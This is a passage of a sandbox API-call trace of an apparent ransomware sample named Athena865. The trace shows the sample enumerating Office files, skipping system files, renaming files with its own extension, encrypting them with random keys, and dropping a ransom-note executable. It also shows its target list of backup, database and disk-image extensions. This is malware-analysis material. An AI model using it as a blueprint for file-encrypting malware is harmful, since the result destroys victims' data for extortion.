pbBuffer=0x241d1d8) returned 1 [0115.503] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.503] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b2a00, lpName=0x0) returned 0x154 [0115.505] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xb2a00) returned 0x2d50000 [0115.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.671] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.671] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.672] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.681] CloseHandle (hObject=0x154) returned 1 [0115.681] CloseHandle (hObject=0x17c) returned 1 [0115.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.690] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="..") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="windows") returned -1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootmgr") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="temp") returned -1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="pagefile.sys") returned -1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="boot") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ids.txt") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ntuser.dat") returned 1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="perflogs") returned -1 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="MSBuild") returned 1 [0115.690] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0115.690] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPWMI.DLL" | out: lpString1="OSPPWMI.DLL") returned="OSPPWMI.DLL" [0115.690] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0115.690] lstrlenW (lpString="Athena865") returned 9 [0115.690] lstrcmpiW (lpString1="PPWMI.DLL", lpString2="Athena865") returned 1 [0115.690] lstrlenW (lpString=".dll") returned 4 [0115.690] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".dll") returned 1 [0115.690] lstrlenW (lpString=".lnk") returned 4 [0115.691] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".lnk") returned 1 [0115.691] lstrlenW (lpString=".ini") returned 4 [0115.691] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".ini") returned 1 [0115.691] lstrlenW (lpString=".sys") returned 4 [0115.691] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".sys") returned 1 [0115.691] lstrlenW (lpString="OSPPWMI.DLL") returned 11 [0115.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.Athena865") returned 101 [0115.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.athena865"), dwFlags=0x1) returned 1 [0115.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.694] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=146192) returned 1 [0115.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.694] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.695] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.695] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.695] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23e10, lpName=0x0) returned 0x154 [0115.698] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23e10) returned 0x170000 [0115.703] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.703] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.703] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.704] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0115.705] CloseHandle (hObject=0x154) returned 1 [0115.705] CloseHandle (hObject=0x17c) returned 1 [0115.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.706] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".") returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="..") returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="windows") returned -1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootmgr") returned 1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="temp") returned -1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="pagefile.sys") returned -1 [0115.706] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="boot") returned 1 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ids.txt") returned 1 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ntuser.dat") returned 1 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="perflogs") returned -1 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="MSBuild") returned 1 [0115.707] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0115.707] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPWMI.MOF" | out: lpString1="OSPPWMI.MOF") returned="OSPPWMI.MOF" [0115.707] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0115.707] lstrlenW (lpString="Athena865") returned 9 [0115.707] lstrcmpiW (lpString1="PPWMI.MOF", lpString2="Athena865") returned 1 [0115.707] lstrlenW (lpString=".dll") returned 4 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".dll") returned 1 [0115.707] lstrlenW (lpString=".lnk") returned 4 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".lnk") returned 1 [0115.707] lstrlenW (lpString=".ini") returned 4 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".ini") returned 1 [0115.707] lstrlenW (lpString=".sys") returned 4 [0115.707] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".sys") returned 1 [0115.707] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0115.707] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.Athena865") returned 101 [0115.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.athena865"), dwFlags=0x1) returned 1 [0115.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.709] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47710) returned 1 [0115.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.709] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.710] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.710] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.710] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd60, lpName=0x0) returned 0x154 [0115.712] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd60) returned 0x100000 [0115.714] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.714] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.714] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.715] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.716] CloseHandle (hObject=0x154) returned 1 [0115.716] CloseHandle (hObject=0x17c) returned 1 [0115.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.716] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0115.716] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0115.716] ReleaseMutex (hMutex=0xec) returned 1 [0115.716] CloseHandle (hObject=0xec) returned 1 [0115.716] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" [0115.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f520 | out: hHeap=0x4f0000) returned 1 [0115.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned 52 [0115.717] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C708FDBD407C65DC3D810E0248641274") returned 0xec [0115.717] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0115.717] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" [0115.717] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0115.717] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to back your files.exe"), bFailIfExists=1) returned 0 [0115.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0115.718] GetLastError () returned 0x0 [0115.718] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0115.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0115.718] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0115.718] CloseHandle (hObject=0xf4) returned 1 [0115.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.719] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0115.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce08e220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0115.719] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.719] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.719] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0115.719] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce08e220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.719] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.719] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.719] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0115.719] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0115.719] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce08e220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0115.719] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0115.719] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="..") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="windows") returned -1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootmgr") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="temp") returned -1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="pagefile.sys") returned -1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="boot") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ids.txt") returned 1 [0115.719] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntuser.dat") returned -1 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2="perflogs") returned -1 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2="MSBuild") returned 1 [0115.720] lstrlenW (lpString="MSLID.DLL") returned 9 [0115.720] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSLID.DLL" | out: lpString1="MSLID.DLL") returned="MSLID.DLL" [0115.720] lstrlenW (lpString="MSLID.DLL") returned 9 [0115.720] lstrlenW (lpString="Athena865") returned 9 [0115.720] lstrlenW (lpString=".dll") returned 4 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".dll") returned 1 [0115.720] lstrlenW (lpString=".lnk") returned 4 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".lnk") returned 1 [0115.720] lstrlenW (lpString=".ini") returned 4 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".ini") returned 1 [0115.720] lstrlenW (lpString=".sys") returned 4 [0115.720] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".sys") returned 1 [0115.720] lstrlenW (lpString="MSLID.DLL") returned 9 [0115.720] lstrlenW (lpString="bak") returned 3 [0115.720] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.720] lstrlenW (lpString="ba_") returned 3 [0115.720] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.720] lstrlenW (lpString="dbb") returned 3 [0115.720] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.721] lstrlenW (lpString="vmdk") returned 4 [0115.721] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.721] lstrlenW (lpString="rar") returned 3 [0115.721] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.721] lstrlenW (lpString="zip") returned 3 [0115.721] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.721] lstrlenW (lpString="tgz") returned 3 [0115.721] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.722] lstrlenW (lpString="vbox") returned 4 [0115.722] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.722] lstrlenW (lpString="vdi") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.722] lstrlenW (lpString="vhd") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.722] lstrlenW (lpString="vhdx") returned 4 [0115.722] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.722] lstrlenW (lpString="avhd") returned 4 [0115.722] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.722] lstrlenW (lpString="db") returned 2 [0115.722] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.722] lstrlenW (lpString="db2") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.722] lstrlenW (lpString="db3") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.722] lstrlenW (lpString="dbf") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.722] lstrlenW (lpString="mdf") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.722] lstrlenW (lpString="mdb") returned 3 [0115.722] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.722] lstrlenW (lpString="sql") returned 3 [0115.722] lstrcmpiW 